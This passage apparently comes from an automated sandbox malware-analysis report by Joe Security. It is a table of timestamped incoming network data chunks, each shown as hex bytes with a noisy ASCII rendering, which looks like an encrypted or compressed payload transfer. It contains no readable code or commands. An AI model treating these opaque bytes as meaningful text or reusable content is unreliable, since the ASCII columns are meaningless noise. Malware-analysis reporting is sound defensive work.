f7 23 ce 47 5d 4f 4c 1f 83 2a ef df b7 28 01 6e ea f6 46 b6 d2 bf 41 66 66 be fd 82 59 27 02 a5 63 97 b7 91 17 b4 aa cb c1 54 54 Data Ascii: 4g4C2Zb&zV0R[?v[f$+B%u44f8A%~t;3/(pRYMe]%-sqavn9ah#EMJG$?pr~EDas3i7GIag4/HH;9\x]gjj3Sm`#G]OL*(nFAffY'cTT

2022-01-15 19:23:31 UTC 2811 IN Data Raw: 07 ec 62 ee c8 af fd 11 c4 75 ca 01 ef d3 2b 39 9d da 54 63 5f 25 69 6c 94 9c 30 59 73 0a c1 f7 59 8b d9 5a fc 6c d9 de b9 ea f3 5f 1c 13 f3 84 c9 2a b0 12 21 53 4e b5 38 1b 46 1f ac e4 8a 96 31 8c 20 70 6a 9c 92 5e 8d 23 20 ef 1b f1 c6 6b 06 0b d3 29 c1 b4 66 22 8c 0d a8 39 e2 2e da 8b 57 e4 83 52 27 c2 d7 1d 8c 55 3a bc 1e f5 32 c4 93 61 f1 7d a1 3a d3 0f df de 23 c4 ea 12 37 12 6b 56 5e c4 2f 9d f7 be af b4 0e 52 c1 d0 b4 ce fe b4 6b e3 db d9 7e 51 69 0d 66 ed 5a fd f4 9c f5 33 24 2f 85 a7 a7 d5 f2 b4 a9 e1 35 12 b5 39 09 60 d1 f3 a5 f1 58 62 00 c9 10 ab c9 4c 4a bf 7f 58 8f 7f bd 48 08 fb 6e 19 fb ef d0 cd 5d 5a 2c f0 5d b0 5e 85 1e fa 3a e1 56 69 4f ca 6f 52 3f dc ba 56 a2 3c e5 a4 3f fd 07 3a 72 40 ab 1b d8 9b 4e 39 ad 81 c7 5f f8 71 c9 b2 5d b8 4a Data Ascii: bu+9Tc_%il0YsYZl_*!SN8F1 pj^# k)f"9.WR'U:2a}:#7kV^/Rk~QifZ3$/59`XbLJXHn]Z,]^:ViOoR?V<?:r@N9_q]J

2022-01-15 19:23:31 UTC 2827 IN Data Raw: 20 d1 af 8d 80 79 b0 39 25 ce 4c 75 a3 61 e9 ac 65 52 48 6b 03 c2 35 17 cd f4 e6 c9 cd 71 2c 87 bf 39 73 de 16 97 8e df 9d 83 f4 d3 1f 75 6e a4 29 1a eb e3 25 7b 8f 21 a1 b2 3e 2d 21 92 23 d3 72 aa d5 2d 76 21 d9 73 5e 9f 5b 48 8f 70 a8 62 f0 92 c0 0b 79 d8 07 1f b6 36 19 fe fe 68 7e 97 ab 49 e8 58 be 99 8d ba 36 14 0c ec d1 32 cc bf 03 61 eb 95 a4 cc 5b 16 5c bd f4 8b 28 13 a2 22 10 95 ac af 7e 76 8c 2e e4 35 ae 01 ed e5 58 92 48 cb c5 b3 73 90 6c 7a c7 d0 64 e3 38 76 55 62 0d f4 b0 56 d5 a4 58 0b cc 5d 2a 91 13 be 0e ad f2 f9 c7 a7 3e 21 60 1a a3 d4 53 8f ba 42 60 ae f6 8f 83 93 0f 40 6b 12 d4 36 d5 3c 27 ac 10 3c 6c 33 b1 ad 18 ee f1 13 ef 8c 03 cc 21 d1 ef 9b c1 32 97 cd 8f 2e 51 a1 2a da 7f c2 87 3d b7 0c be d8 fa 0a 59 78 d0 50 a6 d1 60 65 56 32 42 Data Ascii: y9%LuaeRHk5q,9sun)%{!>-!#r-v!s^[Hpby6h~IX62a[\("~v.5XHslzd8vUbVX]*>!`SB`@k6<'<l3!2.Q*=YxP`eV2B

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 48 of 103

2022-01-15 19:23:31 UTC 2843 IN Data Raw: d2 b5 ec 10 0a 4c b2 ea 32 ae f8 81 66 f4 0a 3f 5a 59 45 37 5f a0 a4 b0 b5 2f c9 61 6e ed 71 84 20 7e fc 00 95 82 6d 98 40 4c 37 02 d1 0a 44 2e c6 54 63 44 04 b0 e1 8c d3 a2 2f 31 6e 85 fd 50 1a ca 67 b5 23 a0 2a 57 e9 f2 6d 46 f3 61 8e 1b 4b 79 c0 59 b9 79 c8 2d 5f 7d 09 28 1d ea 02 44 b4 c2 62 35 48 bc a5 ad 96 8a b6 44 c3 99 a8 8d 52 55 a3 3c cf 10 1f d0 dc 4d 62 80 a0 f0 57 b3 cd 18 57 7f 5d c3 0f 2c de 4c fe 0c e2 a3 09 32 e3 84 78 bf 71 86 48 d5 85 b2 a8 9d 35 f9 b2 94 b0 a6 44 f4 3a c8 c6 05 f4 24 c1 84 a6 3f 1b 24 f5 b6 f6 32 20 d8 c6 1b 12 98 c7 1c 74 2d 27 91 2f 76 2f 17 23 bb f7 31 e9 c2 66 54 60 ea f6 c2 bc c6 95 6f 8f 27 92 88 e0 74 6e 17 08 d4 86 e9 1f b2 d4 44 93 e2 c3 0d b0 ef c4 87 8b 14 19 cf0f d1 a9 a2 aa a0 16 31 d8 bc ee 93 a7 d5 2c Data Ascii: L2f?ZYE7_/anq [email protected]/1nPg#*WmFaKyYy-_}(Db5HDRU<MbWW],L2xqH5D:$?$2 t-'/v/#1fT`o'tnD1,

2022-01-15 19:23:31 UTC 2859 IN Data Raw: f4 a3 47 be 44 31 d8 57 2a f9 09 3a 7b c2 fc 87 bd 87 50 b2 ce d4 1d 0f e6 a3 4d 6d 78 c7 60 3b c5 dc 3b d4 9b 88 65 d5 f1 56 b8 fa 11 c1 7f df 4a db 44 10 4f 1a f6 1c 57 9e 11 87 f5 1b 95 3e c7 81 9a ee 2e 25 18 92 df 82 ea 4f c2 60 3b 8b 55 dd de e3 5e 7a 57 a1 14 b2 7b 77 b0 3b e0 25 1d 01 10 af 16 e3 bf d8 7a 33 45 72 0a e3 83 4a 0c 2c f6 45 65 81 c7 48 64 6b c0 de 25 d0 f1 91 fe c4 02 b0 ff 84 8f 68 9e 36 ab 4b be 1a 83 ff 28 12 95 be 2a 97 db 18 80 57 e5 09 3c a0 3d 30 0b 49 a5 51 96 8d f5 07 0f 97 a9 3c d6 ca 21 85 71 c6 1c 9e 8a 6d 54 a9 87 91 78 b9 66 da c3 60 b4 a8 69 2f 4e 85 27 af 71 8d 97 a0 17 31 0c 19 3b 94 e7 e9 cb c0 dc e0 b0 3e b2 d3 87 1f 33 a5 a3 3e dd 44 6e d5 9e a3 a1 f3 97 68 76 e8 b3 c0 26 fa d7 47 b3 dc 97 37 76 70 6c cc 4e c5 14 Data Ascii: GD1W*:{PMmx`;;eVJDOW>.%O`;U^zW{w;%z3ErJ,EeHdk%h6K(*W<=0IQ<!qmTxf`i/N'q1;>3>Dnhv&G7vplN

2022-01-15 19:23:31 UTC 2875 IN Data Raw: 88 89 d7 00 d1 3c e0 3d 21 a1 e3 72 69 3f d6 3c 46 e3 27 e4 7f ec cf 75 9a c7 56 4a 34 37 ff b3 2f 02 55 1b 9f 21 05 d5 3f dd e6 73 da b4 8a c3 2f a2 cc c5 45 a6 ed ad 29 1e 54 76 14 91 51 d7 18 e0 bd ba 9c 64 61 7c b5 b8 a2 9c be c8 f4 dc 6c 08 20 49 bf e0 ed 25 34 c5 ff cf ef 8b 7e aa a5 70 33 76 6d a0 f2 a4 9a da bd 7e 0c d1 87 84 f7 5c 57 c4 c9 86 18 fc d2 b3 6f 15 83 9a 79 32 96 ad 65 de 66 bf 98 93 11 37 c8 fc 20 5a 53 cf f7 7f 65 c7 8d e3 9c 9e 91 20 1a 9f fd 00 cb 93 1a 6d a8 5c 68 93 b0 59 86 d5 d4 30 09 aa 3b b1 be f3 1e d6 6e 41 4f e3 14 6a d3 61 c6 ec ff 91 b0 7a 80 50 2d 52 08 6d d6 f9 49 b2 d4 04 b7 79 89 d1 44 ac 4b e9 08 ec fd 99 30 c9 d8 6a 9c 8f ba 2b 23 7a 17 03 97 bd 77 47 02 41 9b d1 a4 1e a8 96 17 ca fa f7 f0 3c bd d1 bd b8 b8 bc 3a Data Ascii: <=!ri?<F'uVJ47/U!?s/E)TvQda|l I%4~p3vm~\Woy2ef7 ZSe m\hY0;nAOjazP-RmIyDK0j+#zwGA<:

2022-01-15 19:23:31 UTC 2891 IN Data Raw: 98 04 6a 5c 18 c3 08 c7 9b ac d8 25 cc e5 5f 89 4b 4f 0e 4e 15 6e 4b 01 61 b8 34 64 a5 84 a3 86 d2 bf e8 ae a8 90 97 44 9d fe d9 8c a3 e6 f2 aa 50 56 42 77 79 2f 65 d9 30 09 39 00 ab 69 f6 2b 1a 2f b0 91 34 f6 4b b2 24 3c c5 0f 2b 9e 1c 54 54 17 29 3d aa 05 33 95 d9 a0 96 3e ee 91 79 20 2c 4e 49 18 a5 24 6b 14 63 f4 cb 7f 45 da 44 4d 40 c9 12 c5 cd 82 f3 ae 19 8f b1 87 01 3d aa 44 3c 76 c6 3b e7 21 80 38 41 7d 4d 98 dc 94 45 0e 38 68 44 65 15 b1 54 d0 bf 09 72 4a 92 c6 30 52 a5 27 d8 56 1b ed b8 4a 67 d3 d8 3b ad d0 2b 58 6b 82 41 b4 1b 05 7c e7 af 98 5e 4f 99 8e 92 0a 61 eb e9 40 67 44 06 a6 c9 54 46 ae 3c 6d c5 29 44 4b ed 8a 88 da 68 6f f6 63 81 44 09 a9 33 86 0d 18 5f 41 82 5c 15 b2 43 62 32 53 d1 c5 49 18 5b df 6c 0f e2 f2 cd b9 79 b7 73 5e 48 42 ab Data Ascii: j\%_KONnKa4dDPVBwy/e09i+/4K$<+TT)=3>y ,NI$kcEDM@=D<v;!8A}ME8hDeTrJ0R'VJg;+XkA|^Oa@gDTF<m)DKhocD3_A\Cb2SI[lys^HB

2022-01-15 19:23:31 UTC 2907 IN Data Raw: 0d 60 02 1b 7d 3c 9f 4f 92 48 2e ba 00 36 98 7b fd 0b d4 10 d0 85 5c be b8 4e 96 7f 02 4d d0 6c fb ac 7a 54 73 1d d1 7a 12 82 49 33 57 3b d4 7e fc 0f 40 c3 eb e1 b0 aa 9c c4 53 42 fc 3e fd 9e 84 23 e9 79 e6 c5 8e e8 d9 97 12 0c 3c 58 14 50 ea d8 29 0f b8 85 df d8 ed 75 c9 a8 f2 81 59 e1 56 cb 85 16 bd b9 6b 2e 3a 29 6b dc 39 9d 3f aa 8a 73 ef 1a e1 01 25 aa 07 fe f1 5d 9a 56 ac ce 8d 27 43 02 33 0e af 07 f9 7a ee ab 81 a5 c6 c9 97 9c d6 7d 98 a2 36 e1 8b e5 4a 03 06 2f 38 13 38 f4 9f 21 66 10 98 39 81 7b 71 2d e0 e6 4c 6e 48 b5 d8 a9 a8 bb 2b fc 9f 78 06 8b 90 fb 10 4f 92 be e6 37 45 02 e3 d4 7f aa f5 1b 47 04 5d 85 a7 14 6c cb a3 99 61 10 77 a2 52 a6 ca f7 62 6a cf e1 07 8b f8 af cf ad 9a 54 e8 ba 12 23 37 df 7a d7 93 a8 be ab 5f f2 b5 e0 c7 35 85 39 3d Data Ascii: `}<OH.6{\NMlzTszI3W;~@SB>#y<XP)uYVk.:)k9?s%]V'C3z}6J/88!f9{q-LnH+xO7EG]lawRbjT#7z_59=

2022-01-15 19:23:31 UTC 2923 IN Data Raw: de a1 8a 81 1d f8 14 ab 44 93 f1 3a 77 bf b5 30 0d 51 db ec ea 88 d5 42 59 14 68 6e 46 c7 04 e3 35 4b fc a2 c0 f2 9b 8a 51 76 e1 fa d4 08 a7 6d db c5 fa ec bb 80 6f 70 10 f9 17 45 36 45 ce 7a c6 03 53 e0 66 2d 03 99 6e 17 07 ec d0 cb 39 80 df 22 9f 87 d2 d7 d8 5a e3 a5 4c 57 a7 5e b0 bb 38 cc 61 36 38 01 5a 04 02 6b f2 10 ad a0 92 b4 b5 97 f2 3a 9e 5e 60 09 c5 87 f8 39 60 69 e3 31 69 75 77 02 17 0d 3d cc df 41 9d f1 41 7d cc 4b 0c e2 70 ac d2 22 86 4f 05 68 24 77 cc 91 a9 06 19 bf 55 f9 60 e4 aa 5a 63 63 84 a3 49 c0 20 7e b3 05 b6 a8 cf ad 35 7a 88 e5 69 27 2d cc 87 ab f3 cb 62 d4 97 25 39 eb 80 9a 53 61 1c eb 2c 77 54 6f 8e 47 d1 d0 c2 26 93 45 07 6e 48 58 03 da 48 7a bc 82 56 0c 69 02 fd d4 cc 1f e2 93 74 11 0f 49 dd 35 0d 56 42 51 ef cb 4a 57 17 7f 12 Data Ascii: D:w0QBYhnF5KQvmopE6EzSf-n9"ZLW^8a68Zk:^`9`i1iuw=AA}Kp"Oh$wU`ZccI ~5zi'-b%9Sa,wToG&EnHXHzVitI5VBQJW

2022-01-15 19:23:31 UTC 2939 IN Data Raw: 6e 9c 73 4a 6b 20 20 0b 62 42 f7 13 75 32 b7 6b c6 f9 1f a2 7d b2 c6 b6 23 65 74 32 73 92 6a a3 3e 07 b1 c7 a8 04 56 0a 06 38 3f 74 21 de 1a 8c f4 91 2a 92 22 0d 63 6e 3a 65 27 9d 93 cd 59 23 11 fc a6 81 66 0b 9c c5 76 1f 04 25 89 c5 85 d2 33 93 00 84 1b 7e 03 0f b3 f6 7c 39 98 2b 96 e8 b3 e8 48 39 38 53 f8 94 d2 ba c9 a8 1c ac e4 51 9a df 28 28 03 42 df 67 28 f7 20 4c 5d 9e 75 9e a9 00 19 e1 93 5b 63 1d ba 08 20 e2 11 e2 d5 2c da 4e 19 f5 e3 74 70 ba 71 b8 87 35 62 d2 98 65 62 c7 ef 26 7a d2 c2 2b b1 0c 33 e3 9a 71 41 e1 ae 9f df d3 45 31 9e b3 1c 9b ed 3d b7 c0 ac 81 53 15 d0 23 b7 a7 cc 13 32 a2 fa 9b 97 fe 4a 69 6f fe c3 c5 b8 13 86 7b 88 d7 bd be d5 33 7f 31 49 a4 9f 75 fe b2 08 b8 6d a2 b2 04 23 fd dc f9 e7 97 8b fd 85 b5 d5 46 46 f7 82 18 b9 65 9b Data Ascii: nsJk bBu2k}#et2sj>V8?t!*"cn:e'Y#fv%3~|9+H98SQ((Bg( L]u[c ,Ntpq5beb&z+3qAE1=S#2Jio{31Ium#FFe

2022-01-15 19:23:31 UTC 2955 IN Data Raw: ab 60 78 71 5e a6 44 76 e2 ad 70 5f e0 28 1e 8b 78 f1 b0 e8 e6 89 80 6a ad 3d 33 c6 80 ee 4a ac 2c b8 99 d2 bf 13 71 06 f9 cf 48 c8 c6 ac 19 3e f9 6b 3d 1a 03 e7 67 a2 fb 88 70 ab 3b 6f 97 db b3 4c da 04 04 aa ca d6 c6 02 13 ca 8c af c7 e5 04 30 bb 93 c1 11 59 c2 ff 14 1e cd f4 a6 7b f5 1d 77 96 63 ea 80 d2 e4 e2 71 0f 4f b3 ea 15 46 07 92 0a c2 2e de 68 ac 8b fd 6c 2c a1 73 d8 2e 7f 30 45 a9 d8 a4 ca f3 a6 62 db d2 3a ca 00 ea b5 18 6c 84 61 a1 90 c5 da cd 0e 25 f0 d0 e8 34 43 39 7b 89 53 2d 4e 42 5e 7c c6 52 72 95 20 c8 ed a8 d4 6e 07 62 4e 76 30 e2 94 9a f9 4c 4f 10 63 87 f4 89 2a d8 cf 5c 3d 2b ba 5f 7f 8e 39 c7 31 ec bd 38 8a 10 70 7a a5 52 6e 35 dd 1b af 27 f8 77 22 8d 48 3f 8e 2f a4 14 dc c4 e8 3a d9 1c ad 44 cd 6c 86 92 78 fe 67 fc ae 1b 42 03 f9 Data Ascii: `xq^Dvp_(xj=3J,qH>k=gp;oL0Y{wcqOF.hl,s.0Eb:la%4C9{S-NB^|Rr nbNv0LOc*\=+_918pzRn5'w"H?/:DlxgB

2022-01-15 19:23:31 UTC 2971 IN Data Raw: b8 4d ce d5 8d 29 f3 09 a5 ea 31 be 97 59 0a 90 46 90 c2 fa 7c ec ce 77 02 d8 f3 81 93 95 e7 29 e8 dc 75 59 01 37 5b 41 54 e2 88 46 ae ec bd 51 bf 35 8b a6 78 bd 99 2c 1f 44 13 30 56 4c 86 44 81 62 a9 1d bc 9b db bb 14 db 3b 4b 39 d5 76 4a 00 34 e2 c3 5a 1b 7d 23 53 d6 b6 bd 7c 5e 03 ad 82 7e 98 c3 25 9e cc b7 db d6 98 ad ee 3a 04 d5 18 35 aa d6 48 26 96 d7 ae 15 a6 6d 54 78 ab 3a 0c 71 ec cb 62 7b f0 51 55 da 87 84 40 0d 8a 8c b0 11 d1 bb 68 66 ef 27 4e aa ec cd 9a 9b 99 f2 c0 be d4 00 7a 83 85 61 67 d5 0b b8 5c c6 54 bc 43 66 12 4e 5c 63 43 97 5e 71 30 de d7 31 1d 30 5d 28 29 08 2d cf ba bb 6a db c6 a4 be 39 fb a0 52 67 e5 1c 8e b3 90 ca ce d4 09 ec 37 fa e0 66 b9 99 e1 46 0e 26 98 bb 72 15 f9 20 58 87 17 0b c2 25 25 43 33 d0 28 f8 ca 90 ae f9 44 81 18 Data Ascii: M)1YF|w)uY7[ATFQ5x,D0VLDb;K9vJ4Z}#S|^~%:5H&mTx:qb{QU@hf'Nzag\TCfN\cC^q010]()-j9Rg7fF&r X%%C3(D

2022-01-15 19:23:31 UTC 2987 IN Data Raw: 8f 6d 02 ac 66 f0 04 99 8f 1b 94 39 54 06 6d ac 51 39 68 d8 c8 e9 1f 45 02 0f 83 81 e3 dd 9d f0 b4 aa 6e 96 bf 77 21 18 f7 f2 6d fe 62 fb 1f d6 f4 68 1c b9 11 1d 22 a7 70 ef 5d be 53 72 2a 7d 62 f1 84 0b 31 ac 5c 19 5c ad d8 c5 c4 49 cf 20 6f ae 4a fd 1e e7 3d 4d b6 f6 32 5d 52 9d 9b 13 3c e0 30 fa e1 96 b5 c2 eb 80 16 3b 0a c4 2a fd e3 d8 71 dc 64 9d 6b13 62 7a a5 e4 5a af d7 b2 98 5f de e1 ce 34 ae be a9 15 32 ba 4d 2a 0e 45 a8 e5 94 98 4b 31 ab 11 09 6c 5b 6b ad 6d 44 56 1c 71 97 4e a7 7f 52 55 09 cd c8 f9 4d 12 73 b2 6a 16 59 61 90 9b 09 3a 10 4b 95 28 1c 12 bc b3 ef 1e c6 d5 29 8c 53 f5 c4 f8 ce 1f e9 59 97 b2 c6 33 2f c7 05 e8 9a b6 65 9e 21 8d 70 4a 5c 62 b4 03 b0 b9 d7 a3 64 4f 8b 57 6a a8 28 13 ea b1 93 a9 fa d0 62 be 8f 0a d4 bd 76 05 ed a3 4e Data Ascii: mf9TmQ9hEnw!mbh"p]Sr*}b1\\I oJ=M2]R<0;*qdkbzZ_42M*EK1l[kmDVqNRUMsjYa:K()SY3/e!pJ\bdOWj(bvN

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 49 of 103

2022-01-15 19:23:31 UTC 3003 IN Data Raw: de 32 e0 05 4a 0f 32 73 6b 9b 70 12 79 f2 74 36 c2 8e 95 41 d7 be 9a 64 62 d9 f8 b6 b3 91 89 df a7 c6 59 03 19 ac 9a 31 42 49 b0 b6 06 54 f7 f7 88 ce d6 a2 e3 8c 23 e0 41 af 68 98 2a 63 1c 9e c2 aa b9 f3 b7 f6 40 27 23 cd a9 d8 58 dc 15 14 b0 e7 4c ae 2a 9b 92 4d f3 2a 03 81 69 36 b6 8f d9 00 06 9f fb 9e db f7 4b 5d 4d 82 73 1f e7 2e 09 b0 02 c3 bb 8f 31 97 ae cf 07 47 3b d1 6d 33 9f e4 5c 6a a6 fe 1f 85 af 0d 92 a2 b4 16 11 4e a3 75 0d c9 b3 c4 a4 cf 21 f9 ff 2a 50 29 69 dd b2 12 fb f8 7b b6 b3 3e 24 20 bb b1 96 22 a8 2e 72 b7 93 75 92 02 cb cc 6a 1c 46 a1 f8 93 71 02 f9 8a 49 83 5e 8f 59 bc 95 a7 bf 3d 25 00 0c 2e ae 9c 01 13 e0 7c 2e bb d7 3f c5 d7 61 8e 95 a8 88 84 4a ef 49 44 77 c2 7f a3 e2 45 8d f2 1c fd e9 34 9d 3c 84 7f 00 91 23 da 1f 73 fe 48 72 Data Ascii: 2J2skpyt6AdbY1BIT#Ah*c@'#XL*M*i6K]Ms.1G;m3\jNu!*P)i{>$ ".rujFqI^Y=%.|.?aJIDwE4<#sHr

2022-01-15 19:23:31 UTC 3019 IN Data Raw: a8 04 a1 61 43 97 36 6c 20 6a 12 91 d7 1e d7 72 fa 0a 7f c5 ca 31 bd d0 3c 2b ff 20 89 a1 85 51 af 50 61 66 4b 14 55 f2 ac f8 80 43 09 f7 c8 8f 09 a2 d6 53 d6 9d ab 25 73 ce 6b ac ad af 40 b2 8e 1d 14 53 94 d3 bf f9 1b 89 37 7f 21 22 47 c8 fa a7 02 28 87 5c 11 06 71 ed d9 ed f7 e1 49 63 0f cf 6c 3c 92 00 59 2d 2b 5c 1f 4f 45 e8 60 72 7a 7c e6 13 09 ae f6 b6 84 aa ab 8b 05 bc bf 16 6a 94 02 12 ef 80 43 2c 29 35 86 ea 74 65 cc 7d f9 3d de b7 e0 ec 24 38 17 98 0e 8a c0 f2 fd dc 41 4a 1b 54 9d 04 69 8d 15 8d c1 86 13 f0 51 83 9a 75 de ed 04 27 8a ff 3e 46 1a df 7f 79 03 3c 2f 92 78 07 31 c6 f7 00 7f e4 95 40 6e ad 06 47 18 10 00 b7 7e ab e4 55 e8 0b 54 11 7f 39 2e ef 7c c6 99 1d ba 6b 85 41 ab 0b 5b 5e 35 a3 eb e4 8e 14 4f f2 2d 6e 08 bf f2 26 67 df 36 c2 dd Data Ascii: aC6l jr1<+ QPafKUCS%sk@S7!"G(\qIcl<Y-+\OE`rz|jC,)5te}=$8AJTiQu'>Fy</x1@nG~UT9.|kA[^5O-n&g6

2022-01-15 19:23:31 UTC 3035 IN Data Raw: d9 9c f0 e7 4c 26 89 aa fa c4 77 6a dd 09 68 40 26 06 0e 5c 45 14 2c 2b 73 8f 23 94 ed f8 fe 11 a5 ad 0c e2 2d 80 93 a7 de 3a 46 a3 c3 a7 9b 85 fd 40 72 0d 6c a1 cd a8 74 aa 04 24 e4 aa bf f4 5e ec 71 20 21 ef 5f 76 8f 5f 46 92 00 95 75 4e 61 36 e1 3d c9 ad fb 21 75 13 e3 94 2d 2d 5c 23 7e 69 35 22 86 b1 3b 4f d7 02 e6 f0 5c 44 ba 2a f9 ff 03 d1 63 b9 cf b7 0b 42 18 59 5d ff e4 fa 31 ff cc a4 99 f6 9e 7b f6 79 85 6b 5a fd 13 b7 a6 8e 9e a8 41 ad bf 25 18 b5 67 ff cd e3 19 ff e0 bf 9b 39 70 37 01 4e f2 6a 57 e6 de 72 f7 bf 93 0b 49 4d eb 46 29 29 53 52 79 4c 05 f9 b3 7b b1 22 8a fb 89 72 47 64 d1 ce aa 63 b2 d6 47 2e 46 47 04 9f fd 90 8d 0b 0c ba 69 06 29 ad 1b 1f 32 f8 65 b2 52 af fe 82 de 6a 05 e5 6d 4c 11 90 cf 22 5e 99 f5 ea 0e 89 e2 5c 09 85 d5 83 c7 Data Ascii: L&wjh@&\E,+s#-:F@rlt$^q !_v_FuNa6=!u--\#~i5";O\D*cBY]1{ykZA%g9p7NjWrIMF))SRyL{"rGdcG.FGi)2eRjmL"^\

2022-01-15 19:23:31 UTC 3051 IN Data Raw: 6c fe b0 c6 3a aa 1a ff c4 2f 82 36 c1 9b 25 99 2d da 6f 8d 4f 5f b4 96 10 23 e9 5f 84 4e c9 07 66 38 76 66 35 d1 a7 e7 63 6d df 49 52 f1 d5 ce 5c 55 c1 99 56 a5 c1 d7 d0 d1 9c 13 57 4d 79 49 e7 32 3c 95 d7 0a a2 3e 5c 89 a0 5d f9 7f 98 be 54 96 6d 09 b5 ea 74 2f 72 48 fb a9 3c 7a 93 28 92 78 29 99 2c 58 37 d6 5c 06 a0 92 0e 83 96 c3 3f 5c 04 03 0d fa 70 42 83 82 71 1a d8 56 30 ab 8a a9 9d 2f 24 14 4f f8 2f 39 42 4a 3a fa 8e 7a a1 cd e5 36 1e 82 eb 45 77 9a a9 78 32 10 47 c8 37 82 ac 2d 9e 85 85 5e b5 95 25 77 a9 3b d1 a3 37 a3 79 0e 2f 55 52 15 c1 db 4b 0b 2e 3d 57 70 52 9e ae fc bd 67 35 9c eb 25 5d 98 5b 16 36 1a e3 ad e1 91 4f 96 dd 11 cd a7 82 5a 31 86 76 c7 0f 97 1c a3 d7 98 c1 ca 17 db 53 e6 80 9b d3 61 39 c1 93 a3 4e 90 2a 15 35 bc bb 93 24 d9 46 Data Ascii: l:/6%-oO_#_Nf8vf5cmIR\UVWMyI2<>\]Tmt/rH<z(x),X7\?\pBqV0/$O/9BJ:z6Ewx2G7-^%w;7y/URK.=WpRg5%][6OZ1vSa9N*5$F

2022-01-15 19:23:31 UTC 3067 IN Data Raw: d5 68 f9 1a 9b b9 f2 89 63 30 95 95 72 ff 74 63 66 52 66 71 1a 82 06 36 f6 9a d6 34 fa e5 be 9c 58 f4 35 60 35 81 40 56 c1 83 b6 b9 7f 80 78 5b 66 e7 69 40 f7 7d a4 e7 78 20 21 3d fd f7 73 32 82 58 ec 18 a2 da 2a fe aa 77 5e 49 d5 31 0f ee ce 16 c7 c3 5f 65 6d 87 1b 82 d7 d3 e1 1c 11 78 f6 be 45 32 c9 17 42 c6 ec d6 69 42 8b 47 44 f7 8f 44 88 fd a7 6861 65 37 22 00 2c ee d9 ee a6 f1 40 1b b2 b4 38 6a 19 b9 3e 5b 79 fe 42 2c 33 27 bd d5 6f 93 06 2e a7 7c b4 78 91 ea c6 3c 17 37 22 51 8e 9d 3b 18 ae e5 34 86 e4 42 55 22 11 e2 28 dc 1f f5 94 8e 25 a7 68 76 1c 48 02 b4 0e 3f e1 ea 0d e7 6a 2b 21 cd 45 b5 ac d2 86 5a 52 7d aa 39 ac b6 ad e7 0b cc 96 43 49 2e 2d 10 8e ea 9f 22 31 a8 7e 9b 7a 74 4a 1a 3b de 92 a0 c3 81 c8 df c7 dd eb 10 54 2d 11 ad f0 d2 c0 fb Data Ascii: hc0rtcfRfq64X5`5@Vx[fi@}x !=s2X*w^I1_emxE2BiBGDDhae7",@8j>[yB,3'o.|x<7"Q;4BU"(%hvH?j+!EZR}9CI.-"1~ztJ;T-

2022-01-15 19:23:31 UTC 3083 IN Data Raw: 1a 1c cd a6 dc 2e 6e 84 07 97 8d c7 69 78 b1 b9 40 ef c6 1f ed bd 06 6d f9 f1 c4 6e 7b 59 b6 1a 4b b5 f3 98 8d 1e ed b1 39 e1 00 10 16 dc 96 7d 87 3e de a4 96 97 e1 1a 15 7e d0 5d 7d cb 28 3b bd bb 01 c4 45 77 7d 99 d3 de 7a 2e 37 2e ae 3b b1 e8 ff a6 e2 bf e6 d8 59 0e 3b 45 00 bf af 7f 70 97 d4 a0 51 04 0c 9d 8d d9 1f 64 42 6f 87 24 1c d9 0e 56 bd bc 21 93 e7 2c 36 04 70 43 1a 70 71 cd a0 18 1f 48 28 7c 47 46 d1 dd b5 02 22 f6 60 1a cf 99 c2 ba e4 3f 63 13 a9 78 f3 e5 99 9d 61 06 ca 0c bb 66 8c 4e bd bf 04 f5 ea f9 fe 88 ad 46 2a 31 35 27 65 0d 73 db 8c 14 2e b6 51 7c 0e 30 5b 1e 1a dd 50 33 ed c4 e7 68 f1 04 c3 32 c6 b0 57 2a a2 2f 64 78 a8 c2 7e 79 50 9f 09 f3 9d 96 ce 9f 92 6b a8 0d 3c 9c 21 ad 31 27 c1 1f 44 ed 21 c8 a4 75 ba 39 d8 82 bd 1b 9f f7 a9 Data Ascii: .nix@mn{YK9}>~]}(;Ew}z.7.;Y;EpQdBo$V!,6pCpqH(|GF"`?cxafNF*15'es.Q|0[P3h2W*/dx~yPk<!1'D!u9

2022-01-15 19:23:31 UTC 3099 IN Data Raw: e8 41 23 9c 2c e2 c5 cc 58 b4 ac c3 ed 66 0f 2a be e1 0b 22 7b ac 7e ae ef a8 4f bf 4d 95 35 c4 04 0a 6a be a7 12 b5 14 50 76 33 f6 c4 99 80 e5 60 43 c5 3d e4 21 92 0d 60 b4 62 b4 32 36 9a 19 25 a3 91 02 f1 2f ea d8 c6 0c 71 70 0f 21 b5 a1 a2 c2 66 c9 4b e2 11 36 19 23 bb 74 26 a9 b4 81 b8 84 20 d5 21 20 eb 13 cc ce 4f 65 62 08 1c 11 cc 6d cf 83 80 c5 28 14 ca 01 6f d5 20 6d 90 ba 12 2a 80 a6 65 87 7e 84 d9 15 8c b9 19 99 c6 6c ea cd c5 82 bd da 8c bc 13 38 4d 10 a8 30 e5 dc ec 0d e9 e4 c6 d4 01 49 7e f2 a6 c9 5f ed c3 aa d6 c5 e2 ee 69 c1 d3 7c 0e ef 3f 01 1a 2b 0b 40 d0 c7 f6 30 2f 05 81 ee a2 29 83 4f a6 a5 d0 48 66 10 77 7c bd da ff 16 60 23 fe 0f 6c ff cb c6 db b8 00 48 f2 df 97 4f 67 61 f7 cf cc ee 3c 48 0e 83 a6 1e 21 03 2b 19 bd 51 c7 ad a3 2c 78 Data Ascii: A#,Xf*"{~OM5jPv3`C=!`b26%/qp!fK6#t& ! Oebm(o m*e~l8M0I~_i|?+@0/)OHfw|`#lHOga<H!+Q,x

2022-01-15 19:23:31 UTC 3115 IN Data Raw: 83 c6 b2 92 e2 8a 74 70 4e d6 f5 64 6a cd 62 83 ba b7 88 d3 ac 43 b2 db e5 28 a7 ce 0c f3 f3 b8 cc c5 48 15 d3 6d 3a fc 90 3b b7 a0 bd 41 db 74 82 fa 5d 5e 85 aa 84 de 7a 63 98 e6 57 11 9e 84 c2 cd 2b f7 4b 75 ba f6 21 9c 53 19 c2 dc e6 91 a3 5f 51 01 ad 43 89 c2 34 80 87 94 f0 99 1b 88 70 1e d5 58 4f 8e b0 b1 33 29 6f c0 f3 ca ba 93 2b 9b a0 ab 59 48 69 42 1b a2 e2 10 2e 70 ee c2 52 06 15 b8 83 e8 aa 5f 01 08 e4 b4 02 7d b7 1a fc ee fd 09 12 35 1c d7 4d 80 b3 d5 98 d8 f7 25 8f 3b 6b 8a ef 63 53 8c ad 70 eb 60 e2 df 1c 5d 86 4f 